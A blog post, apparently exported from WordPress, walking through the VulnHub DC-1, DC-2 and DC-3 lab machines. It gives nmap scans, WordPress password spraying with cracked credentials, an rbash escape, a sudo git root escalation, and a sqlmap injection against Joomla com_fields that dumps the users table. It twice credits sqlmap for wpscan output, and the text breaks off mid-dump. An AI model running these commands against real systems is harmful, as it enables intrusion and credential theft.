{"id":259,"date":"2025-07-09T18:59:51","date_gmt":"2025-07-09T18:59:51","guid":{"rendered":"https:\/\/hackingwithj.com\/?p=259"},"modified":"2025-07-09T18:59:51","modified_gmt":"2025-07-09T18:59:51","slug":"ctf-dc-1-dc-2-dc-3-easy","status":"publish","type":"post","link":"https:\/\/hackingwithj.com\/?p=259","title":{"rendered":"CTF: DC-1, DC-2, DC-3 (easy)"},"content":{"rendered":"\n<p>As part of my prep for the <strong>CEH Practical<\/strong>, I wanted to sharpen my enumeration and exploitation workflow with realistic machines. The <strong>DC series<\/strong> on VulnHub offers exactly that \u2014 legal, local, and logically progressive CTFs. In this post, I walk through <strong>DC-1<\/strong>, <strong>DC-2<\/strong>, and <strong>DC-3<\/strong>. No fancy tools needed \u2014 just good ol\u2019 enumeration, exploitation, and a bit of patience.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">DC-1<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<p>Starting off with an Nmap scan:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-c8ad7cfc01259edf7c25834c195a1465\"><code>\u250c\u2500\u2500(venv)\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/bulldog\/ssh-user-enumeration]\n\u2514\u2500$ nmap -sCV -T4 -A -p- -Pn 10.0.2.16\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-07-04 09:17 EDT\nNmap scan report for 10.0.2.16\nHost is up (0.00058s latency).\nNot shown: 65531 closed tcp ports (reset)\nPORT      STATE SERVICE VERSION\n22\/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)\n| ssh-hostkey: \n|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)\n|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)\n|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)\n80\/tcp    open  http    Apache httpd 2.2.22 ((Debian))\n|_http-title: Welcome to Drupal Site | Drupal Site\n|_http-generator: Drupal 7 (http:\/\/drupal.org)\n| http-robots.txt: 36 disallowed entries (15 shown)\n| \/includes\/ \/misc\/ \/modules\/ \/profiles\/ \/scripts\/ \n| \/themes\/ \/CHANGELOG.txt \/cron.php \/INSTALL.mysql.txt \n| \/INSTALL.pgsql.txt \/INSTALL.sqlite.txt \/install.php \/INSTALL.txt \n|_\/LICENSE.txt \/MAINTAINERS.txt\n|_http-server-header: Apache\/2.2.22 (Debian)\n111\/tcp   open  rpcbind 2-4 (RPC #100000)\n| rpcinfo: \n|   program version    port\/proto  service\n|   100000  2,3,4        111\/tcp   rpcbind\n|   100000  2,3,4        111\/udp   rpcbind\n|   100000  3,4          111\/tcp6  rpcbind\n|   100000  3,4          111\/udp6  rpcbind\n|   100024  1          34218\/udp   status\n|   100024  1          50230\/udp6  status\n|   100024  1          57989\/tcp6  status\n|_  100024  1          60111\/tcp   status\n60111\/tcp open  status  1 (RPC #100024)\nMAC Address: 08:00:27:94:27:DF (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 2.6.X|3.X\nOS CPE: cpe:\/o:linux:linux_kernel:2.6 cpe:\/o:linux:linux_kernel:3\nOS details: Linux 2.6.32 - 3.10, Linux 3.2 - 3.16\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n<p>Drupal 7 on port 80 caught my eye \u2014 classic.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Initial Access<\/h2>\n\n\n\n<p>Homepage confirmed Drupal 7. A quick search led me to <a href=\"https:\/\/github.com\/dreadlocked\/Drupalgeddon2\\\">Drupalgeddon2 <\/a>a known exploit:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"560\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-8-1.png\" alt=\"\" class=\"wp-image-262\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-8-1.png 950w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-8-1-300x177.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-8-1-768x453.png 768w\" sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/figure>\n\n\n\n<p>Manual PoC gave a shaky shell, so I used <strong>Metasploit<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"907\" height=\"378\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-9.png\" alt=\"\" class=\"wp-image-263\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-9.png 907w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-9-300x125.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-9-768x320.png 768w\" sizes=\"auto, (max-width: 907px) 100vw, 907px\" \/><\/figure>\n\n\n\n<p>This gave me a <strong>stable Meterpreter session<\/strong>. From there, I found <strong>Flag #1<\/strong> and a hint about Drupal\u2019s default config. In <code>sites\/default\/settings.php<\/code>, I found <strong>Flag #2<\/strong> along with the MySQL root credentials.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"769\" height=\"588\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-10.png\" alt=\"\" class=\"wp-image-265\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-10.png 769w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-10-300x229.png 300w\" sizes=\"auto, (max-width: 769px) 100vw, 769px\" \/><\/figure>\n\n\n\n<p>This revealed a helpful hint suggesting <strong>not<\/strong> to brute-force and even provided the <strong>database credentials<\/strong>, so I proceeded to connect to MySQL. That\u2019s where I hit a snag \u2014 turns out I didn\u2019t really know how to properly interact with <strong>Meterpreter<\/strong>&#8230; oops. After about 30 minutes of trial and error, I realized I first needed to type <code>shell<\/code> in Meterpreter to spawn a proper <strong>interactive shell<\/strong>. With that in place, I could finally run the MySQL client and inspect the database.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"279\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-12-1024x279.png\" alt=\"\" class=\"wp-image-267\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-12-1024x279.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-12-300x82.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-12-768x209.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-12.png 1262w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>After selecting the <code>users<\/code> table, I found another hint tucked away inside:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"178\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-13-1024x178.png\" alt=\"\" class=\"wp-image-268\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-13-1024x178.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-13-300x52.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-13-768x133.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-13.png 1269w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>This hint pointed me toward checking <strong>UID permissions<\/strong> \u2014 time to look for binaries with special privileges:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"441\" height=\"335\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-14.png\" alt=\"\" class=\"wp-image-269\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-14.png 441w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-14-300x228.png 300w\" sizes=\"auto, (max-width: 441px) 100vw, 441px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Getting root<\/h2>\n\n\n\n<p>I spotted <code>find<\/code> with the <strong>setuid bit<\/strong> \u2014 game on:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"64\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-15.png\" alt=\"\" class=\"wp-image-270\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-15.png 600w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-15-300x32.png 300w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/figure>\n\n\n\n<p>Instant <strong>root shell<\/strong>. Final flag captured.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">DC-2<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<p>Same Nmap flow:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-643222264b16666cd8a737e308702422\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ nmap -sCV -T4 -A -p- -Pn 10.0.2.17\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-07-08 05:44 EDT\nNmap scan report for 10.0.2.17\nHost is up (0.00074s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT     STATE SERVICE VERSION\n80\/tcp   open  http    Apache httpd 2.4.10 ((Debian))\n|_http-title: Did not follow redirect to http:\/\/dc-2\/\n|_http-server-header: Apache\/2.4.10 (Debian)\n7744\/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)\n| ssh-hostkey: \n|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)\n|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)\n|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)\n|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)\nMAC Address: 08:00:27:CF:C2:82 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.74 ms 10.0.2.17\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 33.62 seconds<\/code><\/pre>\n\n\n\n<p>Finding <strong>SSH running on port 7744<\/strong> was definitely unexpected, but as usual, I started by checking out the <strong>web server<\/strong> first. The basic homepage and the results from <strong>Gobuster<\/strong> confirmed it was a standard <strong>WordPress installation<\/strong>. Surprisingly, the <strong>first flag<\/strong> was just sitting there in plain sight \u2014 a freebie!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"944\" height=\"604\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-16.png\" alt=\"\" class=\"wp-image-273\" style=\"width:803px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-16.png 944w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-16-300x192.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-16-768x491.png 768w\" sizes=\"auto, (max-width: 944px) 100vw, 944px\" \/><\/figure>\n\n\n\n<p>so lets create a custom wordlist with <code>cewl<\/code> based on the site&#8217;s content: <\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-fa3c663a67e56e0bf8d739773de68824\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/dc-2]\n\u2514\u2500$ cewl dc-2 -w wordlist.txt\nCeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https:\/\/digi.ninja\/)\n                                                                                                                       \n\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/dc-2]\n\u2514\u2500$ cat wordlist.txt                                \nnec\namet\nsit\nvel\norci\nquis<\/code><\/pre>\n\n\n\n<p>Alongside the wordlist, we also needed valid <strong>usernames<\/strong> \u2014 fortunately, <strong>SQLMap<\/strong> has a built-in function to enumerate those:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-86aa8ba28418f6b3f79da5217e70d50a\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ wpscan --url 'http:\/\/dc-2' -e u\n\n&#91;+] admin\n | Found By: Rss Generator (Passive Detection)\n | Confirmed By:\n |  Wp Json Api (Aggressive Detection)\n |   - http:\/\/dc-2\/index.php\/wp-json\/wp\/v2\/users\/?per_page=100&amp;page=1\n |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)\n |  Login Error Messages (Aggressive Detection)\n\n&#91;+] jerry\n | Found By: Wp Json Api (Aggressive Detection)\n |  - http:\/\/dc-2\/index.php\/wp-json\/wp\/v2\/users\/?per_page=100&amp;page=1\n | Confirmed By:\n |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)\n |  Login Error Messages (Aggressive Detection)\n\n&#91;+] tom\n | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)\n | Confirmed By: Login Error Messages (Aggressive Detection)\n<\/code><\/pre>\n\n\n\n<p>We can also use <strong>SQLMap<\/strong> to perform password spraying:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-7d6a81af810f018d6775cd9d61a91673\"><code>&#91;+] Performing password attack on Xmlrpc against 3 user\/s\n&#91;SUCCESS] - jerry \/ adipiscing                                                                                         \n&#91;SUCCESS] - tom \/ parturient                                                                                           \nTrying admin \/ work Time: 00:00:37 &lt;===========================                    > (684 \/ 1160) 58.96%  ETA: ??:??:??\n\n&#91;!] Valid Combinations Found:\n | Username: jerry, Password: adipiscing\n | Username: tom, Password: parturient<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Initial Access<\/h2>\n\n\n\n<p>Got two valid users:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>jerry:adipiscing<\/li>\n\n\n\n<li>tom:parturient<\/li>\n<\/ul>\n\n\n\n<p>Only <strong>Jerry<\/strong> has the rights to edit WordPress posts, while <strong>Tom<\/strong> can only view them. So, continuing as Jerry, we explore a bit more and eventually discover <strong>Flag 2<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"657\" height=\"416\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-17.png\" alt=\"\" class=\"wp-image-275\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-17.png 657w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-17-300x190.png 300w\" sizes=\"auto, (max-width: 657px) 100vw, 657px\" \/><\/figure>\n\n\n\n<p>This suggests that exploiting WordPress isn&#8217;t the way to go\u2014so maybe it&#8217;s as simple as logging in via SSH? (KISS: Keep It Simple, Stupid)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"664\" height=\"410\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-18.png\" alt=\"\" class=\"wp-image-276\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-18.png 664w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-18-300x185.png 300w\" sizes=\"auto, (max-width: 664px) 100vw, 664px\" \/><\/figure>\n\n\n\n<p>Tom can log in and we find Flag 3, but I can\u2019t read it because I\u2019m stuck in a restricted (rbash) shell that doesn\u2019t allow me to use <code>cat<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-9d30875356e72dcf6e33e80aecac0924\"><code>tom@DC-2:~$ cat flag3.txt\n-rbash: cat: command not found<\/code><\/pre>\n\n\n\n<p>After reading up on this, the first step is to figure out which commands are available. Then we might be able to use GTFObins to create a shell. So:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-aa462e1a321c2c91070d2c388ceb0b52\"><code>tom@DC-2:~$ ls \/home\/tom\/usr\/bin\nless  ls  scp  vi<\/code><\/pre>\n\n\n\n<p>We can use <code>vi<\/code> to break out of the restricted bash (<code>rbash<\/code>):<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"816\" height=\"381\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-19.png\" alt=\"\" class=\"wp-image-278\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-19.png 816w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-19-300x140.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-19-768x359.png 768w\" sizes=\"auto, (max-width: 816px) 100vw, 816px\" \/><\/figure>\n\n\n\n<p>The first method I tried failed, but then I switched to the second method, where I needed to set the <code>PATH<\/code> environment variable. After that\u2014boom! It worked.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"771\" height=\"517\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-20.png\" alt=\"\" class=\"wp-image-279\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-20.png 771w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-20-300x201.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-20-768x515.png 768w\" sizes=\"auto, (max-width: 771px) 100vw, 771px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Getting Root<\/h2>\n\n\n\n<p>After exploring a bit, I found flag4 containing:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-89917733a36e2a400f0c2386043c5415\"><code>$ cat flag4.txt\nGood to see that you've made it this far - but you're not home yet. \n\nYou still need to get the final flag (the only flag that really counts!!!).  \n\nNo hints here - you're on your own now.  :-)\n\nGo on - git outta here!!!!<\/code><\/pre>\n\n\n\n<p>Since we were looking for a git repository, I first tried the command <code>find \/ -name \".git\" 2>\/dev\/null<\/code> but it didn\u2019t return anything. I got stuck for a while because I hadn\u2019t switched to the user Jerry yet. After switching to Jerry and running <code>sudo -l<\/code> :<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-845d7dee468012376f8b39d1d0dce545\"><code>$ sudo -l\n&#91;sudo] password for tom: \nSorry, user tom may not run sudo on DC-2.\n$ su jerry\nPassword: \njerry@DC-2:\/$ sudo -l\nMatching Defaults entries for jerry on DC-2:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser jerry may run the following commands on DC-2:\n    (root) NOPASSWD: \/usr\/bin\/git\njerry@DC-2:\/$<\/code><\/pre>\n\n\n\n<p>I discovered that we can run the <code>git<\/code> command as root. So I went back to GTFObins and used the following technique:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-61d150f2db06f7059da9c126018701a7\"><code>jerry@DC-2:\/$ sudo git -p help config\n!\/bin\/sh\n# id\nuid=0(root) gid=0(root) groups=0(root)\n# ls \/root\nfinal-flag.txt\n# cat \/root\/final-flag.txt\n __    __     _ _       _                    _ \n\/ \/ \/\\ \\ \\___| | |   __| | ___  _ __   ___  \/ \\\n\\ \\\/  \\\/ \/ _ \\ | |  \/ _` |\/ _ \\| '_ \\ \/ _ \\\/  \/\n \\  \/\\  \/  __\/ | | | (_| | (_) | | | |  __\/\\_\/ \n  \\\/  \\\/ \\___|_|_|  \\__,_|\\___\/|_| |_|\\___\\\/   \n\n\nCongratulatons!!!\n\nA special thanks to all those who sent me tweets\nand provided me with feedback - it's all greatly\nappreciated.\n\nIf you enjoyed this CTF, send me a tweet via @DCAU7.\n\n# <\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">DC-3<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<p>The NMAP scan:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-40c37de713e17ba2f3bc8161444c7d39\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ nmap -sCV -T4 -A -p- -Pn 10.0.2.18\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-07-08 07:38 EDT\nNmap scan report for 10.0.2.18\nHost is up (0.00071s latency).\nNot shown: 65534 closed tcp ports (reset)\nPORT   STATE SERVICE VERSION\n80\/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))\n|_http-generator: Joomla! - Open Source Content Management\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Home\nMAC Address: 08:00:27:21:C8:8C (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16\nNetwork Distance: 1 hop\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.71 ms 10.0.2.18\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 31.04 seconds<\/code><\/pre>\n\n\n\n<p>That makes things easy \u2014 we just need to check the Joomla site. It appeared to be a basic Joomla installation, and a Gobuster scan confirmed the default folder structure.<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-6bf1efeb19c17d594de6d7d008f620cf\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ gobuster dir -u 10.0.2.18 -w \/usr\/share\/wordlists\/dirb\/big.txt\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n&#91;+] Url:                     http:\/\/10.0.2.18\n&#91;+] Method:                  GET\n&#91;+] Threads:                 10\n&#91;+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n&#91;+] Negative Status codes:   404\n&#91;+] User Agent:              gobuster\/3.6\n&#91;+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.htaccess            (Status: 403) &#91;Size: 293]\n\/.htpasswd            (Status: 403) &#91;Size: 293]\n\/administrator        (Status: 301) &#91;Size: 314] &#91;--> http:\/\/10.0.2.18\/administrator\/]\n\/bin                  (Status: 301) &#91;Size: 304] &#91;--> http:\/\/10.0.2.18\/bin\/]\n\/cache                (Status: 301) &#91;Size: 306] &#91;--> http:\/\/10.0.2.18\/cache\/]\n\/cli                  (Status: 301) &#91;Size: 304] &#91;--> http:\/\/10.0.2.18\/cli\/]\n\/components           (Status: 301) &#91;Size: 311] &#91;--> http:\/\/10.0.2.18\/components\/]\n\/images               (Status: 301) &#91;Size: 307] &#91;--> http:\/\/10.0.2.18\/images\/]\n\/includes             (Status: 301) &#91;Size: 309] &#91;--> http:\/\/10.0.2.18\/includes\/]\n\/language             (Status: 301) &#91;Size: 309] &#91;--> http:\/\/10.0.2.18\/language\/]\n\/layouts              (Status: 301) &#91;Size: 308] &#91;--> http:\/\/10.0.2.18\/layouts\/]\n\/libraries            (Status: 301) &#91;Size: 310] &#91;--> http:\/\/10.0.2.18\/libraries\/]\n\/media                (Status: 301) &#91;Size: 306] &#91;--> http:\/\/10.0.2.18\/media\/]\n\/modules              (Status: 301) &#91;Size: 308] &#91;--> http:\/\/10.0.2.18\/modules\/]\n\/plugins              (Status: 301) &#91;Size: 308] &#91;--> http:\/\/10.0.2.18\/plugins\/]\n\/server-status        (Status: 403) &#91;Size: 297]\n\/templates            (Status: 301) &#91;Size: 310] &#91;--> http:\/\/10.0.2.18\/templates\/]\n\/tmp                  (Status: 301) &#91;Size: 304] &#91;--> http:\/\/10.0.2.18\/tmp\/]\nProgress: 20469 \/ 20470 (100.00%)\n===============================================================\nFinished\n===============================================================\n<\/code><\/pre>\n\n\n\n<p>When I visited <code>http:\/\/10.0.2.18\/administrator\/manifests\/files\/joomla.xml<\/code>, I found the version was 3.7.0. This didn\u2019t immediately reveal any CVEs or exploits, so I continued enumerating. In msfconsole, there\u2019s a Joomla plugin scanner that can help identify vulnerabilities:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"959\" height=\"709\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-21.png\" alt=\"\" class=\"wp-image-281\" style=\"width:803px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-21.png 959w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-21-300x222.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-21-768x568.png 768w\" sizes=\"auto, (max-width: 959px) 100vw, 959px\" \/><\/figure>\n\n\n\n<p>Trying these two vulnerabilities didn\u2019t yield any useful results. Next, I used JoomScan to identify which components were in use. One of them was <code>com_fields<\/code>, which has an exploit listed on Exploit-DB: <a class=\"\" href=\"https:\/\/www.exploit-db.com\/exploits\/42033\">https:\/\/www.exploit-db.com\/exploits\/42033<\/a>. According to the exploit details, I needed to run the following sqlmap command:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-25c3a490349e67af3439e717e28e1ab6\"><code>sqlmap -u \"http:\/\/localhost\/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list&#91;fullordering]=updatexml\" --risk=3 --level=5 --random-agent --dbs -p list&#91;fullordering]<\/code><\/pre>\n\n\n\n<p>And sure enough:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-51f067ca1f42bc79eabc4c610e3de9cf\"><code>GET parameter 'list&#91;fullordering]' is vulnerable. Do you want to keep testing the others (if any)? &#91;y\/N] n\nsqlmap identified the following injection point(s) with a total of 2747 HTTP(s) requests:\n---\nParameter: list&#91;fullordering] (GET)\n    Type: error-based\n    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)\n    Payload: option=com_fields&amp;view=fields&amp;layout=modal&amp;list&#91;fullordering]=(UPDATEXML(6124,CONCAT(0x2e,0x716a627a71,(SELECT (ELT(6124=6124,1))),0x7176767671),1152))\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)\n    Payload: option=com_fields&amp;view=fields&amp;layout=modal&amp;list&#91;fullordering]=(SELECT 8144 FROM (SELECT(SLEEP(5)))MbqK)\n---<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Dumping the database<\/h2>\n\n\n\n<p>Using <code>--dump<\/code>, I dumped the entire database, which took quite some time. Next time, I\u2019ll make sure to check which tables I want to dump beforehand\u2014oops. So I stopped that process and ran the following command instead:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-4adc1a2c2e9e2a346a3730c6f6ebe6ba\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Documents\/tools\/joomscan\/joomscan]\n\u2514\u2500$ sqlmap -u \"http:\/\/10.0.2.18\/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list&#91;fullordering]=updatexml\" --risk=3 --level=5 --random-agent --dbs -p list&#91;fullordering] -D joomladb -T '#__users'  -C name,email,id,params,password,username --dump<\/code><\/pre>\n\n\n\n<p>This gave me the following result:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-197cc2531eba105312e53bd5d2fc07c4\"><code>&#91;08:15:26] &#91;INFO] fetching entries of column(s) '`name`,email,id,params,password,username' for table '#__users' in database 'joomladb'\n&#91;08:15:26] &#91;INFO] retrieved: 'admin'\n&#91;08:15:27] &#91;INFO] retrieved: 'freddy@norealaddress.net'\n&#91;08:15:27] &#91;INFO] retrieved: '629'\n&#91;08:15:27] &#91;INFO] retrieved: '{\"admin_style\":\"\",\"admin_language\":\"\",\"language\":\"\",\"editor\":\"\",\"helpsite\":\"\",\"timezon...\n&#91;08:15:27] &#91;INFO] 